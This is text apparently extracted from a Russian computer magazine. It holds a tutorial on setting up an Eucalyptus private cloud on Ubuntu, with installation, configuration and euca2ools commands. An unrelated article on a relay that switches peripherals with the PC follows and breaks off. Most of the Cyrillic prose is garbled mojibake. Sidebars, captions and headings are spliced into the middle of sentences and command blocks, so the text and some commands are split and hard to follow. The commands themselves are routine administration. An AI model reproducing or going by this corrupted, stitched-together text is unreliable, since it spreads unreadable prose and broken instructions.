8. Âîçìîæíîñòü îáúåäèíåíèÿ ìíîæåñòâà êëàñ-
òåðîâ, êàæäûé èç êîòîðûõ ðàñïîëàãàåòñÿ â 
îòäåëüíîì ñåãìåíòå ñåòè, â åäèíîå îáëàêî.

УСТРОЙСТВО Eucalyptus ñîñòîèò èç òðåõ 
êîìïîíåíòîâ:
1. Êîíòðîëëåð óçëà (Node Controller, NC). 
Çàïóñêàåòñÿ íà êàæäîì óçëå, âîâëå÷åííîì â 
îáëàêî, è îòâå÷àåò çà çàïóñê, ðàáîòó è îñòà-
íîâêó âèðòóàëüíûõ ìàøèí.
2. Êîíòðîëëåð êëàñòåðà (Cluster Controller, 
CC). Óïðàâëÿåò êîíòðîëëåðàìè óçëîâ, ïðèíè-
ìàåò ðåøåíèå, íà êàêèõ óçëàõ áóäóò çàïóùå-

íû âèðòóàëüíûå ìàøèíû.
3. Êîíòðîëëåð îáëàêà (Cloud Controller, CLC). 
Óñòàíàâëèâàåòñÿ íà ìàøèíå, èìåþùåé äîñòóï 

ê âíåøíåé ñåòè, âûñòóïàåò â ðîëè ãîëîâíîãî 
èíòåðôåéñà äëÿ äîñòóïà ê îáëàêó. Îáðàáàòûâàåò 
ïîëüçîâàòåëüñêèå çàïðîñû íà çàïóñê âèðòóàëü-
íûõ ìàøèí è ñîáèðàåò äàííûå î çàãðóæåííîñòè 
óçëîâ îò êîíòðîëëåðîâ êëàñòåðîâ.

ПОДГОТОВКА К УСТАНОВКЕ ß áóäó óñòàíàâ-
ëèâàòü Eucalyptus â Ubuntu Linux, ïîýòîìó 
âñå ïîñëåäóþùèå èíñòðóêöèè ïðèâåäåíû 

äëÿ ýòîé îïåðàöèîííîé ñèñòåìû. Åñëè òû 
õî÷åøü èñïîëüçîâàòü äðóãîé äèñòðèáó-
òèâ, ñëåäóé èíñòðóêöèÿì, ïðèâåäåííûì 

â ðóêîâîäñòâå «Eucalyptus Administrator's 
Guide» (http://open.eucalyptus.com/wiki/

EucalyptusAdministratorGuide_v1.5.2) äëÿ 
ñèñòåì CentOS 5.3, OpenSUSE 11, Debian Lenny 
5.0 è Debian Squeeze/sid. Òàì æå îïèñàí ìåòîä 
ñáîðêè ñèñòåìû èç èñõîäíèêîâ è ïðèâåäåí 
ñïèñîê âñåõ çàâèñèìîñòåé.
1. ×àñû ôðîíòåíäà, óçëîâ è êëèåíòñêèõ 
ìàøèí äîëæíû áûòü ñèíõðîíèçèðîâàíû, 
ïîýòîìó íà êàæäîé èç íèõ íåîáõîäèìî âûïîë-
íèòü ñëåäóþùèå êîìàíäû:

$ sudo ntpdate-debian -s

$ sudo apt-get install openntpd

2. Êîìïîíåíòû Eucalyptus äîëæíû èìåòü âîç-
ìîæíîñòü ñâîáîäíî îáùàòüñÿ äðóã ñ äðóãîì. 
Äëÿ ýòîãî îòêðîé ïîðòû 8443, 8773 è 8774 íà 
ìàøèíå-ôðîíòåíäå è ïîðò 8775 íà óçëàõ.
3. Êîíòðîëëåð îáëàêà è óçëû îáùàþòñÿ, 

èñïîëüçóÿ ïðîòîêîë SSH, ïîýòîìó ìåæäó íèìè 
äîëæåí áûòü ïðîèçâåäåí âçàèìíûé îáìåí 
êëþ÷àìè ïîëüçîâàòåëåé root èëè eucalyptus.
4. Óçëû äîëæíû áûòü ñêîíôèãóðèðîâàíû òàê, 
÷òîáû èñïîëüçîâàòü bridge â êà÷åñòâå îñíîâ-

íîãî ñåòåâîãî èíòåðôåéñà. Äëÿ ýòîãî îòêëþ÷è 
èëè óäàëè NetworkManager (êîòîðûé ÿâëÿåòñÿ 
íåîòúåìëåìûì êîìïîíåíòîì äåñêòîïíîé ðåäàê-

öèè Ubuntu), à çàòåì óñòàíîâè ïàêåò bridge-utils:

$ sudo apt-get install bridge-utils

Òåïåðü îòêðîé ôàéë /etc/network/interfaces, 

çàêîììåíòèðóé âñå èìåþùèåñÿ íàñòðîéêè 
èíòåðôåéñîâ è äîáàâü ñòðîêè:

$ SUDO VI /ETC/NETWORK/INTERFACES

auto br0

Пошаговое руководство по созданию инфраструктуры 
облачных вычислений на базе Eucalyptus



iface br0 inet dhcp

      bridge_ports all

Åñëè òû ïðåäïî÷èòàåøü íàñòðàèâàòü èíòåðôåéñû âðó÷íóþ, ïðèâåäè 
çàïèñü ïðèìåðíî ê òàêîìó âèäó:

$ SUDO VI /ETC/NETWORK/INTERFACES

auto br0

iface br0 inet static

      address 192.168.12.20

      netmask 255.255.255.0

      network 192.168.12.0

      broadcast 192.168.12.255

      gateway 192.168.12.1

      dns-nameservers 192.168.12.1

      dns-search foobar foobar.com

      bridge_ports eth0

Çàïóñòè ñëåäóþùóþ êîìàíäó, ÷òîáû çàñòàâèòü ñèñòåìó ïåðå÷èòàòü 
ñåòåâûå íàñòðîéêè:

$ sudo /etc/init.d/network restart

УСТАНОВКА Êîìïîíåíòû eucalyptus ðàçáèòû íà íåñêîëüêî ïàêåòîâ:
1. Êîíòðîëëåð îáëàêà (ïàêåò -cloud).
2. Êîíòðîëëåð êëàñòåðà (ïàêåò -cc).
3. Êîíòðîëëåð óçëà (ïàêåò -nc).
Âñå îíè óïàêîâàíû â îäèí òàðáîëë, ïîýòîìó äëÿ óñòàíîâêè íåîáõîäèìî 

âûïîëíèòü øàãè:
1. Çàãðóçèòü òàðáîëë ñî ñòðàíè÷êè http://open.eucalyptus.com/

downloads.
2. Ðàñïàêîâàòü åãî âî âðåìåííûé êàòàëîã è äîáàâèòü ïóòü äî íåãî â /
etc/apt/sources.list:

$ tar zxvf eucalyptus-1.5.2-*.tar.gz

$ cd eucalyptus-1.5.2-*

EC2-êîìàíäû äëÿ ïîëó÷åíèÿ èíôîðìàöèè 
Ïîëó÷èòü îïèñàíèå è emi âñåõ îáðàçîâ âèðòóàëüíîé ìàøèíû:
$ euca-describe-images

Ïîëó÷èòü ñïèñîê âñåõ ðàáîòàþùèõ ÂÌ, ïðèíàäëåæàùèõ ïîëüçîâàòåëþ, âûïîëíèâøåìó çàïðîñ:
$ euca-describe-instances

Ïîêàçàòü âñå ïàðû êëþ÷åé, èñïîëüçóåìûå äëÿ äîñòóïà ê ÂÌ:

$ euca-describe-keypairs

Ïîëó÷èòü ñïèñîê êëàñòåðîâ/çîí:
$ euca-describe-availability-zones
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ПОЛУЧАЕМ СЕРТИФИКАТЫМНОГИЕ НАСТРОЙКИ МОЖНО ПРОИЗВЕСТИ ЧЕРЕЗ 
WEB-ИНТЕРФЕЙС

info
Пользователь может 
выбрать ядро и RAM-
диск во время запуска 
ВМ:
$ euca-run-instances 
--kernel <eki-
XXXXXXXX> --ramdisk 
<eri-XXXXXXXX> <emi-
XXXXXXXX>

INFO

Для большего 
удобства мы собрали 
все необходимые 
команды в файл 
im_too_lazy_to_type_
it.txt. Вместо набора 
команд тебе будет 
достаточно делать 
copy'n'paste.

dvd

DVD

info
Любой пользователь 
может загружать 
и регистрировать 
образы (в зависимос-
ти от прав, предостав-
ленных администра-
тором), 
но только администра-
тор может загружать 
и регистрировать ядра 
и RAM-диски.

WARNING
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$ sudo sh -c "echo deb file://${PWD} ./ >> /

etc/apt/sources.list"

$ sudo apt-get update

4. Óñòàíîâèòü ïàêåòû -cloud è -cc íà ìàøèíó-ôðîíòåíä 
(òà, êîòîðàÿ áóäåò èñïîëüçîâàòüñÿ â êà÷åñòâå êîíòðîëëåðà 
îáëàêà è êëàñòåðà):

$ sudo apt-get install eucalyptus-cc 

eucalyptus-cloud eucalyptus-common

5. Óñòàíîâèòü êîíòðîëëåð óçëà íà êàæäûé óçåë, âõîäÿùèé 
â îáëàêî:

$ sudo apt-get install eucalyptus-nc 

eucalyptus-common

Îáðàòè âíèìàíèå, ÷òî âñå ýòè êîìïîíåíòû âûòÿíóò çàâè-
ñèìîñòåé íà 140 Ìá. Òàêæå ïîíàäîáÿòñÿ óòèëèòû óïðàâ-
ëåíèÿ îáëàêîì Euca2ools, êîòîðûå ìîæíî ñêà÷àòü ñ òîé 

æå ñòðàíè÷êè è óñòàíîâèòü íà ëþáóþ ìàøèíó (âîçìîæíî, 
ôðîíòåíä), ñëåäóÿ ýòèì èíñòðóêöèÿì:

$ tar zxvf euca2ools-1.0-*.tar.gz

$ cd euca2ools-1.0-*

$ sudo sh -c "echo deb file://${PWD} ./ >> /

etc/apt/sources.list"

$ sudo apt-get update

$ sudo apt-get install euca2ools

НАСТРОЙКА ФРОНТЕНДА Ñêðèïò íàñòðîéêè Eucalyptus 
èçìåíÿåò êîíôèãóðàöèîííûé ôàéë $EUCALYPTUS/etc/
eucalyptus/eucalyptus.conf, ïîýòîìó ìû äîëæíû ïðèñâî-

èòü ïåðåìåííîé EUCALYPTUS ïðàâèëüíîå çíà÷åíèå. Äëÿ 
Debian/Ubuntu îíî áóäåò ðàâíî «/»:

$ export EUCALYPTUS=/

Ïåðåä íà÷àëîì êîíôèãóðèðîâàíèÿ óáåäèñü, ÷òî êîíòðîë-

ëåð îáëàêà çàïóùåí è ôóíêöèîíèðóåò:

$ ps aux | grep euca

Åñëè ýòî íå òàê, çàïóñòè åãî:

$ sudo $EUCALYPTUS/etc/init.d/eucalyptus-

cloud start

$ sudo $EUCALYPTUS/etc/init.d/eucalyptus-cc 

start

Â ñëó÷àå âîçíèêíîâåíèÿ îøèáîê îáðàòèñü ê æóðíàëüíûì 
çàïèñÿì:

$ sudo less $EUCALYPTUS/var/log/eucalyptus

×òîáû ñîçäàòü îáëàêî, íåîáõîäèìî çàðåãèñòðèðîâàòü 
êëàñòåð è êàæäûé ïîä÷èíåííûé óçåë. Äëÿ ýòîãî âûïîëíè 
êîìàíäó:

$ sudo $EUCALYPTUS/usr/sbin/euca_conf 

-addcluster èìÿ_êëàñòåðà èìÿ_õîñòà

Çàìåíè èìÿ_êëàñòåðà íà ïðîèçâîëüíîå èìÿ, à èìÿ_õîñòà íà 
DNS-èìÿ ìàøèíû èëè åå IP-àäðåñ. Äëÿ ðåãèñòðàöèè óçëîâ 
âûïîëíè:

$ sudo $EUCALYPTUS/usr/sbin/euca_conf 

-addnode "õîñò1 õîñò2 õîñò3 ..."

Óêàæè â àðãóìåíòå îïöèè '-addnode' àäðåñà âñåõ óçëîâ, 

êîòîðûå äîëæíû áûòü âîâëå÷åíû â îáëàêî.

КОНФИГУРИРОВАНИЕ WEB-ИНТЕРФЕЙСА Îòêðîé 

ñòðàíè÷êó https://localhost:8443 â web-áðàóçåðå, 
çàìåíèâ localhost íà èìÿ ìàøèíû, èñïîëíÿþùåé 
ðîëü êîíòðîëëåðà îáëàêà. Eucalyptus èñïîëüçóåò 
ñàìîïîäïèñàííûå ñåðòèôèêàòû, ïîýòîìó íóæíî 
óêàçàòü áðàóçåðó ïðèíÿòü ñåðòèôèêàò. Äàëåå ââåäè 
admin/admin â êà÷åñòâå èìåíè ïîëüçîâàòåëÿ è ïà-

ðîëÿ. Ïîñëå ýòîãî ñèñòåìà ïðîâåäåò òåáÿ ÷åðåç òðè 
ïðîöåäóðû:
1. Îáÿçàòåëüíàÿ ñìåíà ïàðîëÿ àäìèíèñòðàòîðà.

2. Ââîä email-àäðåñà àäìèíèñòðàòîðà.
3. Ïîäòâåðæäåíèå àäðåñà ñåðâèñà Walrus. Ïî óìîë÷àíèþ 
îí çàïóñêàåòñÿ íà êîíòðîëëåðå îáëàêà.
Êëèåíòñêèå óòèëèòû Euca2ools, ñîâìåñòèìûå ñ èíòåðôåé-
ñîì EC2, èñïîëüçóþò x509-ñåðòèôèêàòû äëÿ äîñòóïà ê êîí-

òðîëëåðó. ×òîáû èõ ñãåíåðèðîâàòü, ïåðåéäè íà ñòðàíè÷êó 
Credentials è ñêà÷àé ñåðòèôèêàòû ñ ïîìîùüþ êëèêà ïî 
êíîïêå Download certificates. Çàòåì ñîçäàé êàòàëîã ~/.euca 

è ðàñïàêóé â íåãî ñåðòèôèêàòû. Âûïîëíè ñëåäóþùóþ 
êîìàíäó:

$ . $HOME/.euca/eucarc
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Åå ïðèäåòñÿ âûïîëíÿòü êàæäûé ðàç, êîãäà òû çàõî÷åøü 
èñïîëüçîâàòü êëèåíòñêèå óòèëèòû èç ïàêåòà Euca2ools, 
ïîýòîìó ëó÷øå ïîìåñòèòü ýòó ñòðîêó â ~/.bashrc.

КОНФИГУРИРОВАНИЕ УЗЛОВ Eucalyptus ïðåäëàãàåò 
÷åòûðå ðàçëè÷íûõ ñåòåâûõ ðåæèìà äëÿ ãîñòåâûõ ÎÑ. 
Ïî óìîë÷àíèþ âûáðàí ðåæèì SYSTEM, ïðè êîòîðîì ÎÑ 
ïîëó÷àþò ïðîèçâîëüíûå àäðåñà îò DHCP-ñåðâåðà. Âòîðîé 
ðåæèì íàçûâàåòñÿ STATIC è ïîçâîëÿåò íàçíà÷àòü êàæäîé 

èíñòàíöèè ÎÑ ñâîé ñîáñòâåííûé IP-àäðåñ ñ ïîìîùüþ âíóò-
ðåííåãî DHCP-ñåðâåðà. Ðåæèì MANAGED ðàçìåùàåò ÎÑ 

â îáîñîáëåííûõ ïîäñåòÿõ, ïîä÷èíÿþùèõñÿ ñïåöèàëüíûì 
ïðàâèëàì, çàäàííûì ïîëüçîâàòåëåì (íàïðèìåð, çàïðåò 

PING, îòêðûòèå SSH-äîñòóïà ê ÎÑ, ïðèñâîåíèå ÂÌ ïóáëè÷-
íîãî IP è ò.ä.) Ðåæèì MANAGED-NOVLAN ïðåäîñòàâëÿåò âñå 

òî æå ñàìîå, çà èñêëþ÷åíèåì ñåòåâîé èçîëÿöèè ïîäñåòåé.
Äëÿ èçìåíåíèÿ ñåòåâîãî ðåæèìà äîñòàòî÷íî îòêðûòü ôàéë 

$EUCALYPTUS/etc/eucalyptus/eucalyptus.conf è èçìåíèòü 
çíà÷åíèå îïöèè VNET_MODE è çíà÷åíèÿ äðóãèõ, çàâèñèìûõ 
îò ðåæèìà, îïöèé. Ôàéë õîðîøî ïðîêîììåíòèðîâàí, òàê 

÷òî îïåðàöèÿ íå äîëæíà âûçâàòü ïðîáëåì. Åñëè õî÷åøü ïîä-
ðîáíåå èçó÷èòü ýòîò âîïðîñ, îáðàòèñü ê ðóêîâîäñòâó: http://
open.eucalyptus.com/wiki/EucalyptusNetworking_v1.5.2.

СОЗДАНИЕ ОБРАЗОВ ОС Çà õðàíåíèå îáðàçîâ îïåðàöèîí-

íûõ ñèñòåì îòâå÷àåò ñåðâèñ Walrus, îáðàùàÿñü ê êîòîðîìó, 
êîíòðîëëåðû óçëîâ ïîëó÷àþò îáðàçû è êýøèðóþò èõ íà 
ñîáñòâåííûõ ìàøèíàõ.
ÂÌ-îáðàç Eucalyptus ñîñòîèò èç ñëåäóþùèõ êîìïîíåí-
òîâ: îáðàç äèñêà, ÿäðî è RAM-äèñê (îïöèîíàëüíûé). Âñå 

èõ íåîáõîäèìî çàãðóçèòü â Walrus è çàðåãèñòðèðîâàòü â 
Eucalyptus. Íèæå ïîêàçàíî, êàê ýòî ñäåëàòü äëÿ äèñòðèáó-
òèâà Ubuntu 9.04, óæå ïîäãîòîâëåííîãî äëÿ èñïîëüçîâà-

íèÿ â Eucalyptus è äîñòóïíîãî ñî ñòðàíè÷êè http://open.
eucalyptus.com/wiki/EucalyptusUserImageCreatorGuide_
v1.5.2.

Ðàñïàêîâûâàåì àðõèâ:

$ tar zxvf euca-ubuntu-9.04-x86_64.tar.gz

Äîáàâëÿåì ÿäðî â Walrus è ðåãèñòðèðóåì åãî â Eucalyptus:

$ euca-bundle-image -i euca-ubuntu-9.04-x86_64/

kvm-kernel/vmlinuz-2.6.28-11-generic --kernel 

true $ euca-upload-bundle -b ubuntu-kernel-bucket 

-m /tmp/vmlinuz-2.6.28-11-generic.manifest.xml 

$ euca-register ubuntu-kernel-bucket/vmlinuz-

2.6.28-11-generic.manifest.xml

Ïîñëåäíÿÿ êîìàíäà íàïå÷àòàåò óíèêàëüíûé èäåíòèôèêà-
òîð ÿäðà (eki), êîòîðûé íóæíî ïðèñâîèòü ïåðåìåííîé $EKI. 
Äîáàâëÿåì è ðåãèñòðèðóåì RAM-äèñê:

$ euca-bundle-image -i euca-ubuntu-9.04-

x86_64/kvm-kernel/initrd.img-2.6.28-11-

generic --ramdisk true

$ euca-upload-bundle -b ubuntu-ramdisk-

bucket -m /tmp/initrd.img-2.6.28-11-generic.

manifest.xml

$ euca-register ubuntu-ramdisk-bucket/initrd.

img-2.6.28-11-generic.manifest.xml

Íà ýòîò ðàç euca-register âûâåäåò íà ýêðàí èäåíòèôèêàòîð 
RAM-äèñêà, êîòîðûé íåîáõîäèìî ïðèñâîèòü ïåðåìåííîé 
$ERI. Äîáàâëÿåì è ðåãèñòðèðóåì îáðàç äèñêà:

$ euca-bundle-image -i euca-ubuntu-9.04-

x86_64/ubuntu.9-04.x86-64.img --kernel $EKI 

--ramdisk $ERI

$ euca-upload-bundle -b ubuntu-image-bucket -m 

/tmp/ubuntu.9-04.x86-64.img.manifest.xml

$ euca-register ubuntu-image-bucket/ubuntu.9-

EUCALYPTUS ПОЗВОЛЯЕТ ЗАДАТЬ ШАБЛОНЫ НАСТРОЕК ВИРТУАЛЬНЫХ МАШИН

links

HTTP://WWW

• http://open.
eucalyptus.com/
wiki/Eucalyptus
PublicCloud — пуб-
личное облако на 
базе Eucalyptus, ре-
сурсами которого мо-
жет воспользоваться 
любой желающий.
• http://cloud42.net, 
www.ec2dream.com 
— две реализации 
Web-интерфейса для 
управления EC2-
облаком.
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04.x86-64.img.manifest.xml

Èñïîëüçóÿ web-èíòåðôåéñ (ñòðàíèöà 
Configuration), ìîæíî óêàçàòü èäåíòèôèêàòî-
ðû RAM-äèñêà è ÿäðà, êîòîðûå áóäóò èñïîëüçî-
âàíû ïî óìîë÷àíèþ â òîì ñëó÷àå, åñëè èõ ID íå 
óêàçàíû â ïðåäûäóùèõ êîìàíäàõ.
Äëÿ óäàëåíèÿ îáðàçà ñíà÷àëà íåîáõîäèìî åãî 
«ðàçðåãèñòðèðîâàòü»:

$ euca-deregister <emi-XXXXXXXX>

Çàòåì óäàëèòü ôàéëû èç Walrus (óêàçàííûå 
ïåðåìåííûå óñòàíàâëèâàþòñÿ êîìàíäîé «. 
~/.euca/eucarc»):

$ euca-delete-bundle -a $EC2_ACCESS_

KEY -s $EC2_SECRET_KEY --url $S3_URL 

-b <bucket> -p <file prefix>

УПРАВЛЕНИЕ Ïîñëå òîãî, êàê îáëàêî áóäåò 

ñîçäàíî è íàñòðîåíî, àäìèíèñòðàòîð ñìîæåò 
äîáàâëÿòü è óäàëÿòü óçëû:

$ $EUCALYPTUS/usr/sbin/euca_conf 

-addnode <èìÿ_óçëà>

$ $EUCALYPTUS/usr/sbin/euca_conf 

-delnode <èìÿ_óçëà>

– à òàêæå  äîáàâëÿòü è óäàëÿòü îáðàçû 

âèðòóàëüíûõ ìàøèí (êàê áûëî ïîêàçàíî â 
ïðåäûäóùåì ðàçäåëå), êîíôèãóðèðîâàòü 
îáëàêî, èñïîëüçóÿ óòèëèòó euca_conf èëè ÷åðåç 
ðåäàêòèðîâàíèå ôàéëà $EUCALYPTUS/etc/
eucalyptus/eucalyptus.conf, ïëþñ óïðàâëÿòü 

ïîëüçîâàòåëÿìè.
Ïîëüçîâàòåëè, æåëàþùèå ïîëüçîâàòüñÿ óñëóãà-
ìè îáëàêà, äîëæíû ïåðåéòè íà ñòðàíèöó https://

àäðåñ-êîíòðîëëåðà-îáëàêà:8443/ è çàðåãèñò-
ðèðîâàòüñÿ. Ïîñëå ýòîãî àäìèíèñòðàòîðó áóäåò 
âûñëàí email, ñîäåðæàùèé äâå ññûëêè, ïåðâàÿ èç 
êîòîðûõ ïðèâåäåò ê ïðèíÿòèþ çàÿâêè, âòîðàÿ — 
ê îòêëîíåíèþ. Ïîñëå ïåðåõîäà ïî ïåðâîé ññûëêå 
ïîëüçîâàòåëþ áóäåò âûñëàí email, ñîäåðæàùèé 

èíñòðóêöèè äëÿ àêòèâàöèè àêêàóíòà.
Â ëþáîé ìîìåíò àäìèíèñòðàòîð ìîæåò îò-
êëþ÷èòü èëè óäàëèòü ïîëüçîâàòåëÿ, èñïîëüçóÿ 

ñòðàíèöó Users web-èíòåðôåéñà. Òàì æå îí 
ìîæåò ñàì äîáàâëÿòü ïîëüçîâàòåëåé ÷åðåç 
ñàìîñòîÿòåëüíîå çàïîëíåíèå ôîðìû, ðåçóëüòà-
òîì ÷åãî, îïÿòü æå, ñòàíåò îòïðàâêà «àêòèâàöè-
îííîãî ïèñüìà» íà àäðåñ ïîëüçîâàòåëÿ.

ИСПОЛЬЗОВАНИЕ Èòàê, ó íàñ åñòü ñîáñòâåííîå 
îáëàêî, è ìû õîòèì åãî èñïîëüçîâàòü, à èìåííî 
— çàïðàøèâàòü ðåñóðñû è ïîëó÷àòü èõ. Â ýòîì 
ðàçäåëå ðàññêàçàíî, êàê ýòî äåëàòü ñ òî÷êè çðå-
íèÿ ïîëüçîâàòåëÿ. Îòêðûâàåì â áðàóçåðå ñòðà-
íè÷êó https://àäðåñ-êîíòðîëëåðà-îáëàêà:8443. 
Íà ýêðàíå ïîÿâèòñÿ îêíî âõîäà. Æìåì êíîïî÷êó 
Apply, çàïîëíÿåì ôîðìó è æìåì «Sign up». Â 
ýòîò ìîìåíò àäìèíèñòðàòîðó îòïðàâëÿåòñÿ 
ñîîáùåíèå, ïîëó÷èâ êîòîðîå, îí ðåøèò, ñòîèò ëè 
îäîáðÿòü íàø àêêàóíò èëè åãî ëó÷øå îòêëîíèòü. 
Â ñëó÷àå óñïåõà íà íàø email ïðèäåò ñîîáùåíèå 
ñ ïðîñüáîé ïîäòâåðäèòü àêêàóíò ïóòåì ïåðåõîäà 
ïî ññûëêå. Ïîñëå ïîäòâåðæäåíèÿ àêêàóíòà âõî-

äèì â ñåðâèñ è ïîïàäàåì íà ëè÷íóþ ñòðàíè÷êó. 
Æìåì êíîïêó Download certificate, ÷òîáû ïîëó-

÷èòü ñåðòèôèêàòû. Ðàñïàêîâûâàåì èõ â êàòàëîã 
~/.euca (ìîæíî è â äðóãîé):

$ mkdir ~/.euca; cd ~/.euca

$ unzip name-of-the-key-zip.zip

$ chmod 0700 ~/.euca

$ chmod 0600 ~/.euca/*

È çàïóñêàåì ñêðèïò eucarc, êîòîðûé óñòàíîâèò 
ïðàâèëüíûå çíà÷åíèÿ ïåðåìåííûõ, íåîáõîäè-
ìûõ äëÿ ðàáîòû Euca2ools:

$ . ~/.euca/eucarc

Ñêà÷èâàåì è óñòàíàâëèâàåì Euca2ools (àäðåñ 
ïðèâåäåí âûøå).
Ïåðåä çàïóñêîì âèðòóàëüíûõ ìàøèí ìû 

äîëæíû ñîçäàòü ïàðó êëþ÷åé, êîòîðûå áóäóò 
èñïîëüçîâàòüñÿ äëÿ äîñòóïà ê ÎÑ ïî ïðîòîêîëó 
SSH. Íèæå ìû èñïîëüçóåì mykey â êà÷åñòâå 

èìåíè êëþ÷åé, íî òû ìîæåøü âûáðàòü ëþáîå 
äðóãîå èìÿ:

$ euca-add-keypair mykey > mykey.

private

$ chmod 0600 mykey.private

Òåïåðü óçíàåì, êàêèå îáðàçû åñòü íà ñåðâåðå è 
èõ emi (èäåíòèôèêàòîð îáðàçà):

$ euca-describe-images

È — çàïóñòèì íóæíîå êîëè÷åñòâî ÂÌ ñ óêàçàí-
íûì emi:

$ euca-run-instances -k mykey -n 

<êîëè÷åñòâî èíñòàíöèé> <emi-id>

Ïðîâåðèì, çàïóñòèëèñü ëè çàïðîøåííûå ÂÌ:

$ euca-describe-instances

Åñëè òû èñïîëüçóåøü îáëàêî òîëüêî â ëè÷íûõ 
öåëÿõ, òî ìîæåøü ïðîñòî ïîäêëþ÷èòüñÿ ê 
SSH-ñåðâèñó íóæíîé ÂÌ, èñïîëüçóÿ âíóòðåí-
íèé IP-àäðåñ. Åñëè æå ïîëüçîâàòåëè äîëæíû 
îáðàùàòüñÿ ê óñëóãàì îáëàêà èç âíåøíåé ñåòè, 
òî óçëû Eucalyptus íåîáõîäèìî íàñòðîèòü äëÿ 
èñïîëüçîâàíèÿ ñåòåâîãî ðåæèìà MANAGED 
èëè MANAGED-NOVLAN, êîòîðûå ïîçâîëÿþò 
íàçíà÷àòü âíåøíèå IP-àäðåñà äëÿ âèðòóàëüíûõ 
ìàøèí, à ïîëüçîâàòåëü äîëæåí âûïîëíèòü 
ñëåäóþùèå øàãè äëÿ ïîäêëþ÷åíèÿ ê ÂÌ:
1. Ðàçðåøèòü êîííåêòû ê SSH èç âíåøíåé ñåòè:

$ euca-authorize -P tcp -p 22 -S 

0.0.0.0/0 default

2. Ñäåëàòü çàïðîñ íà âûäåëåíèå ïóáëè÷íîãî IP:

$ euca-allocate-address

3. Àññîöèèðîâàòü IP ñ ÂÌ (ID âîçâðàùàåò 

êîìàíäà euca-describe-instances):

$ euca-associate-address <IP> -i <ID 

âèðòóàëüíîé ìàøèíû>

4. Ïîäêëþ÷èòüñÿ ê ÂÌ:

$ ssh -i mykey.private root@<IP>

Äëÿ îñòàíîâêè ÂÌ ñëåäóåò èñïîëüçîâàòü 
êîìàíäó:

$ euca-terminate-instances <ID ÂÌ>

ВЫВОДЫ Ñåãîäíÿ, èìåÿ äîñòàòî÷íîå 

êîëè÷åñòâî ìàøèí, àäìèíèñòðàòîð è äàæå 
ðÿäîâîé ïîëüçîâàòåëü ìîãóò ñ ëåãêîñòüþ 
îðãàíèçîâàòü ñîáñòâåííóþ ñèñòåìó îáëà÷-
íûõ âû÷èñëåíèé. Îíà îáåñïå÷èò òåñòåðîâ 
ïðîãðàììíîãî îáåñïå÷åíèÿ ëþáûì êîëè-

÷åñòâîì ãåòåðîãåííûõ ñðåä, âûäåëÿåìûõ ïî 
çàïðîñó, ïîçâîëèò ñóùåñòâåííî ïîâûñèòü 
âðåìÿ áåñïåðåáîéíîé ðàáîòû Web-ñåðâèñîâ, 

ñîçäàòü ãðàíäèîçíûé èãðîâîé ïîðòàë èëè 
äàæå ñîáñòâåííóþ âåðñèþ Amazon EC2. Äîá-
ðî ïîæàëîâàòü â íîâûé ìèð!  z
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Â
ключая комп, кроме системного блока, мы должны включить 
еще несколько устройств. Обычно это дисплей, колонки или 
усилитель, принтер и сканер, а если есть интернет, то может 
быть, и модем. По окончании работы все эти устройства надо 
еще и выключить. Нажать две-три кнопки несложно, но часто 

— просто лень. В результате, периферийные устройства остаются вклю-
ченными тогда, когда это совершенно не нужно. Это наводит на мысль 
сделать какой-нибудь девайс, который будет включать и выключать ком-
пьютерную периферию без дополнительных действий с нашей стороны. 
В статье мы рассмотрим пример такого устройства.
Главные требования — это простота и универсальность. Девайс дол-
жен подходить к любым устройствам и позволять легкую замену одного 
устройства другим. Включение и выключение периферийных устройств 
должно зависеть только от состояния компьютера. О возможностях допол-
нительного управления включением и выключением речь пойдет дальше.

ÒÅÎÐÈß
 Для отключения внешних устройств от сети мы используем реле. Напря-
жение на обмотку будет подаваться с компьютера, а его контакты будут 
подключать и отключать внешние устройства от сети. При выборе реле 
нас будут интересовать четыре параметра:

Íîìèíàëüíîå íàïðÿæåíèå — íàïðÿæåíèå, êîòîðîå ìîæíî ïî-

äàâàòü íà îáìîòêó ðåëå áåñêîíå÷íî äîëãî áåç îïàñíîñòè åå 

ïîâðåäèòü

Íàïðÿæåíèå ñðàáàòûâàíèÿ — ìèíèìàëüíîå íàïðÿæåíèå, êî-

òîðîå íóæíî ïîäàòü íà îáìîòêó, ÷òîáû ðåëå ñðàáîòàëî; êàê 

ïðàâèëî, îíî íèæå íîìèíàëüíîãî

Íàïðÿæåíèå êîììóòàöèè — ìàêñèìàëüíîå íàïðÿæåíèå â öåïè, 

êîòîðóþ ìû êîììóòèðóåì 

Ìàêñèìàëüíûé òîê êîììóòàöèè — ìàêñèìàëüíûé òîê â êîììó-

òèðóåìîé öåïè

Òàê êàê ìû áóäåì îòêëþ÷àòü îáà ñåòåâûõ ïðîâîäà, íàì ïî-

íàäîáèòñÿ ðåëå ñ äâóìÿ ãðóïïàìè íîðìàëüíî ðàçîìêíóòûõ 

êîíòàêòîâ

Напряжение питания для реле мы возьмем с блока питания компьютера. 
На его выходе напряжение есть, лишь когда компьютер включен, поэтому 
решится не только вопрос, где взять напряжение для обмотки реле, но 
и когда оно должно сработать. Мы включим компьютер, на реле будет 
подано напряжение, оно сработает и включенные через него приборы 
включатся. Из напряжений, которые выдает блок питания, нам доступны 
два: 5В и 12В. Выбор напряжения будет зависеть от реле, которое мы 
хотим использовать. Первое напряжение подойдет для реле с напряжени-
ем срабатывания до 5В и номинальным напряжением 5В и выше. Второе 
— соответственно для реле с напряжением срабатывания ниже 12В и но-
минальным напряжением 12В и выше. На самом реле обычно указывается 
только номинальное напряжение. Если оно равно 5В или 12В, можно быть 
уверенным, что реле подойдет и проверять напряжение срабатывания 
не нужно. Если же номинальное напряжение выше тех, что выдает блок 
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ÊÀÆÄÛÉ ÐÀÇ ÏÐÈ ÂÊËÞ×ÅÍÈÈ ÊÎÌÏÜÞÒÅÐÀ ÍÓÆÍÎ ÂÊËÞ×ÀÒÜ 
ÅÙÅ ÄÈÑÏËÅÉ, ÊÎËÎÍÊÈ È ÏÐÎ×ÈÅ ÂÍÅØÍÈÅ ÓÑÒÐÎÉÑÒÂÀ. 
ÄËß ÒÅÕ, ÊÎÌÓ ËÅÍÜ ÒÀÊ ÄÅËÀÒÜ, ÏÐÅÄÍÀÇÍÀ×ÅÍÀ ÝÒÀ ÑÒÀÒÜß. 
ÒÅÏÅÐÜ ÂÍÅØÍÈÅ ÓÑÒÐÎÉÑÒÂÀ ÁÓÄÓÒ ÂÊËÞ×ÀÒÜÑß, ÒÎËÜÊÎ ÊÎÃÄÀ 
